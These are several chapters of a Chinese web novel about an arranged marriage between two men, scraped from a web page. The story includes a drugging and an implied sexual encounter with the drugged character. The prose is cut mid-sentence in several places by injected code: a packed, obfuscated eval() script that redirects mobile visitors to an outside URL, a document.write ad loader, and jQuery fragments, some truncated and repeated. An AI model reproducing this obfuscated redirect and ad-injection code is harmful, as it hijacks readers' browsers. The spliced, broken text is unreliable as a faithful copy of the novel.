花清替荣少锦挂好玉佩,再递上一把折扇:“郎君要我跟着去吗?” 荣少锦掂掂手中扇子:“不用,你待家里吧。” 赌坊这种玩乐的去处,他一般都是自己去。那种地方诱惑力太强,要是带着人过去,他担心久而久之身边人会陷入其中,就容易被外人收买利用。 荣少锦把扇子往腰间一插,转身出屋。已有仆人将马牵到院中,他几步走过去,飞身上马,调转马头出发。 来财赌馆是京中有名的销金窟,荣少锦更是常客,闭着眼睛都能走过去。 他将在门前驻马,就有迎客殷勤地迎上来问候:“开阳侯久没来了,掌柜的和小的们都好生想念啊。” 荣少锦跳下马,把缰绳扔给他,一边问:“田钦邀的我,他说已经订了房间和酒菜。” 迎客忙应:“是是,田公子的小厮来过,掌柜的已经吩咐下,见到您就请过去。” 他往门里喊了一嗓子,唤出个小二为荣少锦领路。 荣少锦跟着人穿过嘈杂的大堂,四下望望,还问起田钦小厮说的那种新玩法。小二仔细答着,话音中夹着荣少锦听惯了的奉承。 天光已经薄暗,小二点起房间中的蜡烛,倒上一杯茶水,躬身道:“小人这就去催厨房上菜。” 荣少锦给他打点赏:“让快点,我还没吃饭,饿着呢。” 小二眉开眼笑地应声退出去。 不一会儿,酒菜就给端了上来。荣少锦抬起筷子就吃,反正他们这些酒肉朋友从来不讲究人齐才开席那套。 他吃东西快,几轮菜夹下来,肚子已经垫了个半饱。 外头热闹的喧哗声隐隐传来,荣少锦转头望望窗外,心中奇怪田钦怎么还没到。 他再次喝下一杯酒,抿抿嘴,却还是觉得喉间干渴得难受。 荣少锦奇怪地看向手中酒杯——这酒也感觉有多辣,怎么喝起来这么烧心?好像心跳都在加快。 他放酒杯,转而提起茶壶,给自己倒杯茶,却觉得那半壶茶似乎沉得不对劲。 荣少锦捏起茶杯,仰头一饮而尽。 明明喉间咽下的是已经变凉的茶水,此时却仿佛化成了油,烧在心火之上。 瞬间,荣少锦就感觉心脏猛跳几下,烦躁感飞蹿上头顶,心火则是蔓延至四肢百骸。 全身都被那阵火燎得发热,尤其腹中,更像燃起一个大火堆。 荣少锦哗地起身,却是头晕目炫得扶了两下桌子,才稳住摇晃的身形。 他在嗡嗡作响的脑子中维持着一点清明思考——田钦那混帐算计他?! 荣少锦咬牙缓过一会儿,抬头四下看看,最后目光定在分隔内室的屏风上。 他们这群纨绔来赌馆玩,时常玩到三更半夜,都会先要好房间,随时可以休息。所以荣少锦先前没有起疑心,可现在,他很怀疑里间是不是就有准备给他的“惊喜”。 不能留在这里! 荣少锦提起一口气,双手撑着桌子一推,往外走出两步。 突又停下,回身抄起桌上酒壶,胡乱朝身上泼洒。全部洒完,衣服上已是一片酒味,他这才随意把酒壶撂下,转身快步走到门边,推门出去。 荣少锦只觉自己像喝醉了酒,脚下虚浮得厉害,腹中的火却烧得他疼痛难耐。 本能地,他不想被人发现自己这异样,摇晃着往偏僻处走。 时间好似被拉得很长,来过多次的赌馆也变得像座陌生的迷宫。 荣少锦都辨不清方向,只能跟着感觉前进。还不知道田钦到底什么打算, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13544057|141397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会不会有其他后手,他现在只想找个能够暂时藏身的地方。 也不记得拐过几个弯,荣少锦发现自己来到一排屋边,窗户里面是黑的,应该是没有人用的房间。 他伸手推推,没锁的窗被推开,里面的确没有人。 荣少锦撑着窗框往里一跳,落地还翻滚一圈,才爬起身。 借着窗外微光,他勉强能看清,这房间很小,只有一床一桌,床边摆着盆架。 荣少锦浑身似着火,也顾不得许多,快步走到盆架边,提起盆下的水壶,感觉里面有水,赶紧一鼓脑全倒进盆里。 下一刻,他深吸口气,哗啦一下埋头到水中。 冰凉的水终于给快要喷火的脸降下温度。 直到憋得胸口疼,荣少锦才抬起头,大口大口吸气。 可是,随着脸上水珠滴落,高温再次回归。腹中火苗像是反噬一般,竟然蹿得更高。 荣少锦甚至感觉每一下呼吸都在喷出热气。 他双手握上铜盆,正准备将水兜头浇下,正在这时,啪的一声,门被推开。 荣少锦应声转头,就见两个身影站在门口。 外头侧边的薄光照着那两人半边身。 荣少锦眯着眼打量,发现他们有些眼熟…… * 姜闲看见房中有人,心里一紧。 那人几乎没在黑暗中,只能看出个身形,颇为高大。 不过,恰好有点微光映在他眼部,似乎盆中水面反射而出。 那双眼睛让姜闲感到一丝熟悉。 连带着那身形都让他感到一丝熟悉。 下一刻,对面传来一道声音:“姜闲?” 沙哑而低沉。 姜闲心一跳,随即抽抽鼻子——浓郁的酒味,其中夹杂着丝丝缕缕的药味。 正是他今日在姜贵身上闻到过的那种。 紧接着,他感觉到身边云雁在把自己往外拉:“郎君,快走!” 姜闲定定神,伸手拍拍云雁手背,示意他放松,再转向前方开口:“你是开阳侯……荣少锦?” 片刻的沉默后,对面传来低声:“对。” 姜闲没再问,却对云雁说:“你到前面找刘叔,告诉他不用找人了,你们去休息吧。我在这里照顾开阳侯。” 云雁瞪着眼睛,眼中写满不解,来回看着姜闲和屋内的荣少锦:“怎么能让郎君动手,要照顾人也该我……” 姜闲打断道:“听话,去吧,这里有我。” 云雁满脸莫名其妙,但自家公子这个表情他却是很了解,是已经做好决定的样子。他只得不安地松开手,一步三回头地离开。 姜闲从容进屋,掏出火折子点燃桌上蜡烛,又将门窗都关好上闩。 最后,转向依旧站在盆架边没动,气息却比刚才更沉重的荣少锦。 荣少锦有着一张和那双眼睛相衬的年轻脸庞,哪怕两条剑眉快打成个结,也不影响那张脸的俊美。 姜闲向他走过去,放轻声音问:“你是崔七?” 荣少锦的眼中有一刹那闪过利光。 虽然没回答,但他的眼神里已经有答案。 姜闲走到荣少锦面前,拿下盆架上的毛巾,伸手过去想给他擦脸上未干的水珠。 毛巾即将挨上脸的那一瞬,却被荣少锦捏住了手腕。 姜闲镇定地和荣少锦对视,声音轻柔地安抚:“我只是想帮你……” 荣少锦没松手,声音仿佛从紧咬的牙齿间迸出:“你知不知道你在说什么!” 姜闲莞尔:“知道,你身上的药味,连酒都盖不住。” 顿时,手腕处传来一阵疼痛。 姜闲微微蹙眉,目光落在捏自己手腕的拳头上:“轻点,你捏疼我了。” 手腕上的力道变轻,但拳头依旧没有松开。 姜闲重新回视荣少锦,感觉他呼出的灼热气息都要烫到自己。 荣少锦声音已经哑得快要听不清:“你到底怎么想的!” 姜闲抬起另一边手,按在他拳头上:“我想你快点来下聘,毕竟你比端王顺眼多了。” 话音刚落,姜闲就感到手腕处的力道松开。双臂却紧跟着被抓住,有道不容反抗的力量带着自己踉跄几步,跌进床榻里。 下一刻,一道重量压到他身上。 9.赌 荣少锦对听到“你比端王顺眼多了”之后的记忆,其实并不清晰。 那句话就像最后一阵风,哪怕轻微,哪怕被扇起的心火仅仅蹿高了一点点,也足以烧掉他一直紧绷的、岌岌可危的最后那丝理智。 在荣少锦糊成一片的大脑里,只有些许零碎的深刻片段,镶嵌在记忆之海当中。 他记得姜闲就如同一块微凉的白玉,一触之下,滑润得令人爱不释手。哪怕渐渐泛起淡红,带着光泽的莹白也是印象中难以磨灭的底色。以及触碰时那舒适的凉意,更让他想一刻不离地紧紧相贴。 他也记得姜闲的眉眼。蹙起的眉头好似在他心头打了个结,箍着他急跳的心,也让他从未有过地感受到心脏跳动时竟伴随着隐隐疼痛。而当那对长眉偶尔舒展,他的心也克制不住地跟着雀跃。 还有那双眼。眼尾绯红一片,眼里不断地蓄起水雾,乌亮的眼睛就像水下的黑珍珠。眼中还倒映着自己,更让他完全移不开目光。偶尔那双眼微微睁大,水珠滚落出来,他都忍不住凑过去吮进口中。 以及姜闲细碎的低泣声,每一声低泣钻进耳中,都像是落下一片羽毛在心尖刮划,那痒意矛盾地又痛苦又愉快。他记不清姜闲说过些什么,但自己好像下意识在遵从,听到夸奖时就快乐得难以言喻。 荣少锦最后的印象,是周围翻江倒海的熔岩,和脑中炸开一次又一次的烟火。 ○● 荣少锦清醒过来之时,纸窗透进外面微薄的光,显然时辰已经不早。 怀中传来实实在在抱着个人的感觉,他一时没敢动弹,只稍稍转动眼睛。先看见的,床前方桌上蜡烛已经燃尽,自动熄灭。 他模糊地记起,似乎陷入沉睡前瞥过一眼烛光,当时烛台里还剩着一点点蜡烛头,小小的火苗在轻轻摇摆。 这么想来,他应该没睡多久。 但无论是身体还是头脑,此时不仅不疲惫,甚至还有种前所未有的畅快。 可一想到这畅快的由来,心头又不免罩上一层阴影。 荣少锦慢慢将视线拉回,突然看到床前地面堆着乱七八糟的衣物,旁边还滚落着一个倒倒的小小罐子。瞬间,他又隐隐闻到一阵淡淡花香。 那罐子是姜闲的,原本装着几乎满罐的抹手脂膏。现在空了,昨晚他最后一回刮了个干净,就随后扔到一边,也不知道什么时候被碰掉到地。 香味、触感、记忆瞬间涌上,心脏不由自主地加快。荣少锦赶紧闭上眼睛,不管什么经文都抓过来没头没尾地默念上几句。 平复好心跳,他再睁开眼,做好心理建设,才慢慢低头看向怀中。 披散的黑发下,是一张绝美的容颜,轻颤的睫毛有种令人忍不住疼惜的脆弱。 薄被盖过了肩膀,但颈脖还是白皙得发亮。只是,也更衬出其上的痕迹刺目非常。 光是脖子上的印记就已经落差交叠,简直不想象被子里又会怎样。 荣少锦深吸口气,不断在心里告诉自己——这是他在议亲的人,马上就要办婚书了,而且昨晚对方也没有拒绝。 然而,他越是强制头脑清醒冷情,越是能清楚感知到怀中之人。 先前,他们甚至是直接累得睡过去了…… 荣少锦再次倒抽一口凉气,连忙想向后方挪动。 只是,两人如此亲密地相贴,即使他动作放得再轻,也免不了惊动到另一个人。 姜闲的呼吸节奏变了,荣少锦一抬眼,就见他睫毛的颤动也在加大,显然是马上要醒过来。 荣少锦内心挣扎片刻,在姜闲睁眼的瞬间,终于是推开怀中的人,自己往后挪开一点。 姜闲睁眼的那一刻,眉头跟着蹙在一起。荣少锦看得心头一颤,心疼和心虚再次翻涌上来。 不过,随着姜闲眼中的惺忪退去,那双形状优美的长眉也跟着舒服开。 姜闲抬眼看来。 即使荣少锦刚才往后挪开,可床和被子就这么大,此时两人依旧近得仿佛能感受到彼此的气息。 姜闲微微牵动唇角,先轻轻咳了两声清嗓子,才开口:“开阳侯。” 只是,嗓音还是沙哑,而且倦怠又慵懒。 荣少锦不自觉地舔舔犬齿,微微张口,却感觉说什么都不太合适,只得又闭上嘴巴。 姜闲突然抬手,掩着嘴打个呵欠,眼中又蓄起一点薄薄的水雾。 荣少锦顿时觉得喉间一阵干渴,连忙移开目光,余光却忍不住时刻关注。 姜闲仿佛完全不在意,抹着眼角小声说:“可以麻烦你帮我倒杯水吗,我好渴。” 荣少锦也咳了一声清清嗓子,应过一声“嗯”,就要揭被起身。 只是,刚一动弹,肌肤相触的感觉就提醒了他,被下的两人还是坦诚相见的状态。 荣少锦几乎是肉眼可见地僵住,一时间就被子是揭也不是,不揭也不是。 姜闲眼眸转动,立刻了然于心,闭上双眼:“我再盹一下,你拿水过来了叫我。” 不过,话中那隐隐的笑意实在是过于明显,似乎连藏都没想藏。 荣少锦感觉脸上开始发烫。 但这样僵着也不是办法,他动作飞快地翻身下床,从那堆衣服里挑出自己的胡乱套上。再快步走到桌边,拎起茶壶掂掂,取个杯子倒好满满一杯,拿回床边。 荣少锦:“水。” 姜闲重新睁眼,慢慢撑起身,从被子里拱出来。 薄被滑下,乌发也滑下,现出他痕迹交叠的肩头和前胸。 荣少锦手中的水都泼出一小半,赶忙蹲身随手搁下杯子,抓起一件姜闲的衣服,胡乱给他裹在身上,又立起枕头让他靠好,再扯过被子尽量给他盖高些。 姜闲拥着被坐着,眉头立刻蹙了蹙,不过目光只盯着地下的水杯。 荣少锦把水杯送上,姜闲接过一仰头。 他喝得太急,一两滴水从嘴角漏下,沿着下巴滑到脖颈,又汇聚到锁骨。 荣少锦目光跟随着那水滴,喉结克制不住地滚动一下。 姜闲喝过水,吁了口气。 荣少锦伸手接过杯子:“还要吗?” 声音不自觉地轻柔。 姜闲没客气,对他点头。 荣少锦干脆到桌边提过茶壶,站在床边给姜闲倒茶。 姜闲喝下三杯,才表示不再要。 荣少锦转而将壶口对着嘴,咕噜咕噜灌完剩下的。 他将茶壶茶杯放回桌上,拉起地上荣少锦的衣服递过去,用目光示意下床边帷帏:“我放下帷幔,你在床里穿。自己能穿吗?” 姜闲却有些苦恼:“可以是可以,但是身上黏黏的,直接穿衣服好难受。” 荣少锦这次感觉耳根和脖子在迅速发烫,再次深吸几口气,飘移的目光瞟到盆架,才想到怎么接话:“盆里有水,如果你不介意我昨晚泼过脸……还是我叫你小厮去找小二要新的水……” 姜闲看着他通红的耳朵,突然感觉身上的不舒服都轻减不少,再次掩不住笑意地说:“现在还有什么好介意。” 荣少锦感觉心脏似乎漏跳了一拍,耳朵的烫意在往脸上蔓延。 他没敢细看姜闲的表情,赶紧端起盆架上的水盆放到床里,再扯下两边帷幔。 隔着一层不算多厚的帷幔,荣少锦都能清楚地听到里面布料的声音,以及毛巾沾水的哗啦声。 他尽量克制着不去想象,而是将注意力集中在紧接着要处理的一些事情上。 没过多久,帷幔被拉开,姜闲抬腿下床。 站起身起,他身形晃了一下。荣少锦连忙伸手把人扶稳,又很快松开手。 姜闲看他一眼,慢慢走到盆架边,拿起架上摆的梳子,再慢慢走到桌边,坐下对着镜子梳头。 荣少锦始终跟在他身后一步,看他似乎没有特别难受的样子,才说出刚才理清的头绪:“昨天我娘就进宫求赐婚圣旨了。聘礼已经备好,一会儿我回了家就拿着圣旨去你家下定。” 姜闲诧异地转头看他:“圣旨?” 荣少锦声音不自觉地放柔:“下了圣旨,武敏吉那边就翻不出浪。” 姜闲点点头,心中不由得想——难怪昨天姜贵这么急,大概就是听说了赐婚这事,没计划周全也强硬实施了。 荣少锦顿了下,又问:“礼单你看过吗,有没有什么想要加的。” 姜闲自然没看过的,不过他也不在乎那些,只应道:“很周全了。” 荣少锦就没再问,直到姜闲梳好头。看他没把头发束起,而是只松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云雁连忙拉过一个软枕垫上去,扶着姜闲坐好,又特意开小窗叮嘱刘山:“走稳些,别晃。” 随后就一直小心地扶着姜闲,眼中满是担心,终于还是忍不住问:“郎君,你们真的……” 姜闲靠着软枕和云雁,闭眼养神,随口应一声:“嗯。” 接着好一会儿没听见云雁再说话,不由得睁眼看看。 就看见云雁满脸的不忿与难过。 姜闲笑起来,伸手捏捏云雁的脸:“我和他马上就要成婚,这种事总免不了。” 从思考合作的那一刻起,姜闲就已经有了这种准备,毕竟相貌也是他的一大优势,自然该合理利用起来。包括昨晚,他之所以做出这样的决定,也是在那基础上赌一把。 既然荣少锦是崔七,那上一次短短的接触就能看出,显然并不是京中盛传那样的纨绔。而以静宁长公主和襄侯夫妇的行事作风,和端王相比,更偏向正派一些。 那么,如果在荣少锦遇险这种关键时候帮个忙,应该能多争取到他们一家的好感。若是再能让荣少锦对自己有点愧疚,就更有利于今后的行事。 现在看来,他赌运不错。 姜闲拍拍云雁的手:“没什么事,回去你给我烧锅热水,我泡个药浴,再好好睡一觉就没事了。” 云雁点点头,却还是嘟囔:“可是,就算成婚,也不一定……表面夫妻又不少见,郎君这么受苦,我都为你不值。” 姜闲听得表情有些微妙:“倒也……没多受苦……” 云雁一愣:“啊?” 姜闲斟酌着说:“这种事情嘛,有苦也有乐。现在是生疏些,以后多教教就好。” 云雁傻乎乎地眨巴着眼。 姜闲再次捏捏他的脸:“说不明白,等你长大了,有了想成婚的人,自己体会去吧。” 说完,重新闭上眼睛养神。 嘴角却不自觉地松缓。 先前听说荣家的家风不纳妾,开阳侯断袖名声那么盛,后院却空无一人。他还当只是刻意对外传的好名声,哪知道,竟然还是真的。 10.礼 荣少锦送走姜闲,走回床边挂起帷幔,把床上水盆端下来,打开半扇窗通风。 他瞧瞧天色,决定还是等久一些再走,便再走回床边。 薄被被揭开,刚才被遮挡的一切都摊在眼前。 的确不像样。 哪怕荣少锦装这么多年纨绔,跟着一帮子狐朋狗友四处鬼混,见识过他们的诸多荒唐。如今看这床上的模样,没想到他自己也会有这种时候。 看着这片狼藉,荣少锦又想起刚才姜闲慢慢走路的模样,还有穿衣时抱怨的身上难受。本来他没多大感觉,现在莫名地突然就觉得身上不自在起来。 荣少锦转头看向水盆,心中一阵犹豫。可越是犹豫,皮肤仿佛就越敏感,不舒服的感觉怎么都再压不下去。 最终他到底没扛过去,叹口气,除了衣服,用那盆水将就擦一擦,才觉得好受了。 荣少锦抓起薄被抖一抖,再次盖住那片狼藉,仰身一躺,合衣睡上去,闭上眼睛熬时间。 他以为自己睡不着,不料没一会儿就迷糊了过去。 荣少锦隐约感觉自己在做梦。 大概是刚谈过婚过,他梦到了大婚的场景。自己骑着马走在前方,后头跟着一辆挂着红绸的喜车。 走到家门口,他跳下马走到后方马车边,抬手卷起车帘,见里面坐着个面前遮扇的红衣人。 荣少锦伸手去扶,一切却在这瞬间全部消失。 他错愕地四下张望,发现不远处有个穿喜服的男子背影。 荣少锦走过去,却奇异地不管怎么走都靠近不了那人。 突然背影消失 ,再出现于另一个方向。 这一次,荣少锦终于能走到那人前方。 那人转过身,依旧和刚才喜车里一样,双手执扇遮于脸前。 荣少锦伸手捏住扇杆,正要将扇子移开。 心脏突然重重一跳。 他猛地睁眼。 眼前是床顶的帷幔,还是赌馆里的客房。 荣少锦抬手按上胸口——刚才梦中那心沉沉一下跳的感觉,仿佛还残留着。 类似有一种,奇怪的心慌。 荣少锦缓过一会儿,才抛开那个奇怪的梦,撑坐起身。 光线亮了许多,已经接近中午时分。 荣少锦随手抓抓头发,在脑后扎高。接着揭开薄被,端起水盆,将一盆水全泼在床上。 湿透的被褥掩盖掉过一切狼藉的痕迹。 荣少锦抓起桌上铃铛,推门出去,一边摇一边喊:“来人!” 没一会儿就奔来一个小二,点头哈腰地问:“开阳侯,有什么吩咐?” 荣少锦扔给他一点碎银:“我不当心把洗漱的水洒在床上,你去端壶水来,再拿些吃的,我饿死了。” 小二连忙答应着,转身跑走,很快端着壶水走进屋。 走到盆架前倒水时,他瞥到床上湿淋淋的惨状,脸上不由自主地带出点表情。 荣少锦轻哼:“怎么,我刚给的银子还赔不起你们这点被褥?” 小二连忙讨好:“小的就是想,您要洗漱怎么不摇铃叫人伺候。还劳您自己倒水,是小的们不周到。” 荣少锦佯装生气:“你们的确不周到。我昨晚酒吃多了,出来找厕所也叫不来人伺候。搞得我绕来绕去的,都找不到原本那间房。头又晕得厉害,就随便进这间来睡。房钱够不够?” 小二赶紧告罪:“足够了足够了,真是对不住您。小的和掌柜说,下回您再来玩,给您送壶好酒赔罪。” 荣少锦这才收起脾气:“算你会说话。” 他让小二伺候着洗漱好,又随便吃了点东西,叫人牵来马,上马离开。 * 荣少锦打马往城东走,犹豫着要先去找田钦算帐,还是先回家问问下定的事。 走了大半路,决定还是婚事更重要,晚上再去田府找人也不迟。 荣少锦催着马小跑到家,刚进大门,就见前院摆着一抬一抬礼,家令正领着人往上扎红绸。 他跳下马问:“是聘礼?” 家令笑着招呼他一声:“正是。一会儿散了值,高郎君就过来,带上这些去姜家下定。” 荣少锦:“圣旨宣了吗?” 家令:“昨日殿下带回来两份。不是宫里内侍带来的,殿下说咱家就不折腾了。给姜家那份,高郎君会一并带过去宣读。” 荣少锦又问:“礼单我看看。” 家令将礼单拿过来。 荣少锦:“我拿回院里看。” 家令忙叮嘱:“您仔细些,这份是一会儿要送到姜家去的。” 荣少锦:“知道,一会儿我也跟去。” 家令一愣:“您也要去?” 这婚事操办到现在,荣少锦可是从没有关心过这些琐碎小事。 荣少锦笑笑:“是我‘一网情深’硬求来的婚事,当然得我亲自去下聘,才能显出重视。” 家令一想也是:“那郎君最好换身衣裳,头发也好好束一束。” 荣少锦挥挥手:“我去收拾。” 回到院子,他就对迎上来的花清吩咐:“让人烧水,我要洗澡。再找身好衣裳,你自己也换一身,等会儿我们跟表舅一同去姜家下聘。” 花清连忙跑去忙活。 荣少锦把礼单仔细看过一遍,的确没什么问题。 其实想想也是,礼单可是他爹娘把过关的。都是按着他们这个阶层婚嫁的常例来准备,为了显示他的“一网情深、求娶心切”,还加厚了几分。 之前荣少锦的确没怎么把 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这桩婚事当要紧事。反正人娶进来,能处就处着,不能处就各过各的。这长公主府总归还是他说了算,多个外人影响不到什么。 选姜闲这个成婚对象,他们事先调查过情况。荣家老家在泽华县在邻县,对泽华县的情况有所了解,对姜家这个养在老家的大公子也有所耳闻。 传出去的“荣少锦对人一见钟情”自然是个谎言。不过以姜闲那张脸,会让那则流言非常有说服力。 而且姜闲远离京城,姜家也不是什么有靠山的大家族,是正合适的人选。姜德又求进心切,荣家刚他一接触,他就飞快地应下,算是两边一拍即合。 但是荣少锦和姜闲这么一接触,尤其经过昨晚,就感觉自己要不上点心,似乎总有点过意不去。 他想了想,起身去了自己的小库房。 等花清跑来通知他水已烧好,就见小库房里开着一堆盒子,荣少锦还埋头在柜子里翻找。 花清吓了一跳,一边收拾一边问:“郎君要找什么,叫我找呀。” 荣少锦头也没抬,手里还在开礼盒:“我记得我有一对双鱼玉佩,羊脂玉的,还有一支琉璃簪。收哪了?” 他要装纨绔,别的都好说,就是钱不能不多花,只能尽量挑着好货买,至少不吃亏。这些年攒下来,是实实在在收了不少好东西。 花清开抽屉拿记录本:“郎君,你按着本子找嘛。不然这么多东西,谁能记得哪个在哪里。” 荣少锦向来只管买,用得少之又少,库房更是没进几次,根本不记得还有记录本这回事。 主仆两人凑一起看,才按着记录的位置,把那对双鱼玉佩和云纹琉璃簪给找出来。 荣少锦手一挥:“找个盒子装起来,我拿去送人。” 花清:“送到姜家?” 荣少锦:“不然还有哪里。” 花清看看那对玉佩:“送一对?” 荣少锦轻敲他脑袋:“当然是一块。哦,我送一对,让他再把另一块拿去送别人?” 花清吐吐舌头,小声嘀咕:“我当你想让姜公子回送给你……” 荣少锦盯着他找出合适的锦盒,装进一块双鱼玉佩和琉璃簪。 盒子里还有些空位,花清寻思着填些什么东西合适:“要不添块墨锭啥的?” 荣少锦想想,轻咳一声:“添一瓶府里最好的外用药膏,止血消肿化淤那种。” 花清一愣:“啊?聘礼送这个?不合适吧……” 荣少锦再轻敲他一下:“你懂什么,我们家里的药膏,可是华大夫的秘方,外头哪儿能有我们的好。日常难免有个磕磕碰碰,药膏实用着呢。” 花清揉揉头:“哦……” 虽然还是觉得哪里怪怪的,但自家公子都这么吩咐了,他也就乖乖照办。 11.下聘 姜贵忐忑得一整晚都几乎没合眼。 昨晚,他派心腹用一笔钱收买田钦那个欠赌债的小厮,成功将荣少锦骗到来财赌馆。 但下药这种关键的事,他不敢假手于人,自己乔装成扮混进厨房,最终有惊无险地悄悄把药混进菜中。 至此,姜贵认为拿下荣少锦已是稳操胜券。如果戏馆那边武敏吉能直接把姜闲带回王府,就更是最好的结果。 当时他花了一点时间换掉伪装和打扮。有上一世在端王府中的经历,他早已熟知怎么妆扮能让自己更吸引人,前后也就花了一刻钟左右收拾。 可是,等他赶到那间客房,却见房门大开,本该在里面的荣少锦不见人影。 姜贵顿时心中一咯噔。他强压着慌乱,仔细看看桌上酒菜,发现都是动过的,猜测荣少锦可能药效发作,自行出了房。 事情出现意料之外的发展,姜贵一边暗自懊恼准备时间太短做不周全,一边赶紧再使银子找小二四处寻人。 好消息是荣少锦的马还在,人估计没走,坏消息则是寻一圈都没见人。 就在这时,面色阴沉的武敏吉来了赌馆。 姜贵大惊——武敏吉来了这里,岂不是在戏馆没见着姜闲? 而姜闲去戏馆的消息,是姜贵的书童以姜家下人的名义透露给端王府,要是现在他被武敏吉撞到,对方肯定会把气撒在他身上。 这一世他可不想再和武敏吉有一丁点牵扯。 姜贵犹豫了好一会儿,最终还是更惧怕命运的轨道会向上一世偏移,只能赶紧悄悄离开赌馆。 回家见到他派去戏馆守着的书童,他才知道姜闲根本没去戏馆包间,武敏吉过去了当然见不到着。 姜贵一巴掌抽得书童摔倒在地,骂道:“一点机灵劲都没有!你向端王谢罪没有?” 书童捂着肿起的脸,跪在地上委屈地回:“小的不敢……” 姜贵气得又给了他一脚:“姜闲现在在哪?” 书童痛得脸色发白,却不敢争辩,蜷着身子说:“小的回来后问过,大公子的确出了门,说是去看戏,现在还没回来……” 事到如今,姜贵也无计可施,只得一边祈祷赐婚圣旨别下得那么快,一边拼命思考下一步该怎么办。 第二天上午直到日头高升,姜贵终于等到姜闲回来,连忙过去想试探姜闲昨晚的行踪。可惜连姜闲的院子都没进去,里面只隔着门传出一句“大公子身体不适要休息”。 姜贵不安到现在,再吃到如此生硬的闭门羹,火气腾地冲上头。 他从来不把姜闲真当兄长,只是以前他日子过得好,就没去在意姜闲怎么样。但也完全没想过,姜闲人都在矮檐下,竟然还敢不对自己低头。 再一想到上一世自己最后被灌毒酒,姜闲却被宠得逍遥自在,倾刻间便“新仇旧恨”都翻腾上来。姜贵恨恨咬牙,转身就大步往前院走——他要去叫人来砸开姜闲的院门! 半路上,碰到急匆匆往里走的管家。 姜贵叫住人:“正好,你去找几个高大有力的……” 管家却急急打断他:“郎君,您有什么事都得稍稍后。老奴刚接到郎主的传信,得赶紧去告诉夫人!” 姜贵一愣,顺着话问:“我爹说什么?” 管家:“郎主说等他散衙回来,高员外郎就会带着长公主那边聘礼和赐婚圣旨来下定,让夫人做好接旨的准备!” 姜贵听见“赐婚圣旨”四个字,脑子顿时嗡的一声,身子也跟着猛地摇晃一下,差点直接摔到地上。 * 姜闲舒舒服服泡完药浴,钻进被子里。 刚要合眼,刘山却进来报:“管家在外头敲门,说有紧要的事。” 姜闲一边示意云雁下帷帐,一边道:“让他进来。” 管家进来就只见到帷帐,不由得问:“大公子这是……” 云雁沉着脸催促:“说了郎君不舒服。你有什么话就快说,说完好让郎君休息。” 管家很早就跟着姜德,很清楚姜闲在姜家完全说不上话,心里自然跟着瞧不上这个大公子。但想到婚事,又只好把被怠慢的不满按下,把姜德的传话和接圣旨的注意点仔细说一遍。 姜闲闭着眼睛心不在焉地听完,懒懒回道:“我知道了。等姜侍郎回来再通知我,我会准备好。” 他话音一落,云雁和刘山就强硬地把管家往房外带。 帷幔后的姜闲嘲讽一笑——不过是接个圣旨就这么紧张,看得出来,姜德这个工部侍郎是真没什么圣宠,说不定在家接旨都是第一次。 他打个呵欠,听着外面关院门的声音,放任自己睡了过去。 姜闲补过一觉,醒来时精神比上午好不少,就是身子的倦怠还没全消。 时间已到未时,他起身洗把脸。云雁找出套衣袍给他换上,帮他梳好头,再端上一直温着的粥和点心。 姜闲吃过东西没一会儿,便有仆人来传话,下聘的队伍已经从长公主府出发,让姜闲到前面去等候。 姜闲来到正厅,见姜德、姜贵和贾金燕都在,而且都穿着簇新的华贵衣物,头上簪子腰间环佩都是上好的玉。 一比之下,姜闲的竹青长袍和腰间挂的香囊,就显得格外逊色。也幸得他相貌极好,反而衬得身上半新不旧的衣物都带上点清贵之气。 姜德见到姜闲进来,脸色便是一沉:“昨晚去哪了,夜不归宿,我先前是怎么交待你的!” 姜闲目光从他脸上扫过,转到姜贵脸上,一边往椅子上坐,一边淡淡回道:“弟弟请我去看戏。戏演完,也过了宵禁时间,坊门关了,我只得在外住一晚。” 姜德没想到这里面还有姜贵的事,不由得一愣。 姜贵此时正心烦意乱,正思考往下该怎么办,眼神都懒得抬一个,只含糊应一声。 姜德发作不下去,只得按下话头。 众人又等了一阵子,不断有仆从跑来报荣家的队伍已经走到哪里。 终于,外边传来一阵嘈杂,是下聘队伍进了大门。 姜德连忙起身,带着妻儿三人迎出去。 姜闲让云雁扶着,慢慢走在最后方。 前院已经摆好案台香炉,案前四个蒲团。 姜闲懒得往前走,直接就停在案台边上,抬眼看向随管家进来的一行人。 打头的是荣少锦,剑眉星目,很是丰神俊朗。身着暗红衣袍,腰间压一块莹白玉佩,头发用一根发带高高束起,走动间发带、长发、衣摆都略略飘动,自有一股风流气息。 他身边还有一名中年文士,应该就是姜闲昨日听过声音的高员外郎。 下一刻,荣少锦看过来,和姜闲对上目光。 姜德和荣少锦、高员外郎打过招呼,再介绍自己妻儿,这才发现姜闲停在后方没上前,连忙低声轻斥:“姜闲,还不快过来!” 不过,荣少锦紧跟着接道:“我们过去好了,等下接旨也是在那里。” 说完,还越过主人家,当先向姜闲走去。 高员外郎看一眼面上尴尬的姜德,圆场道:“少锦说的也在理,还是我们过去吧。” 姜德连忙顺着台阶下来:“高兄请。” 姜闲对着走到面前的荣少锦作揖:“开阳侯。” 荣少锦往前跨一大步,扶住姜闲手臂一托,没让他弯身下去,还特意问:“听闻大公子天生带有弱症,让人搬张椅子来坐?” 声音是和刚才跟姜德说话时完全不同的温柔,正是传闻中“对人一往情深”的模样。 姜闲对他一笑: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “站一会儿还无妨。” 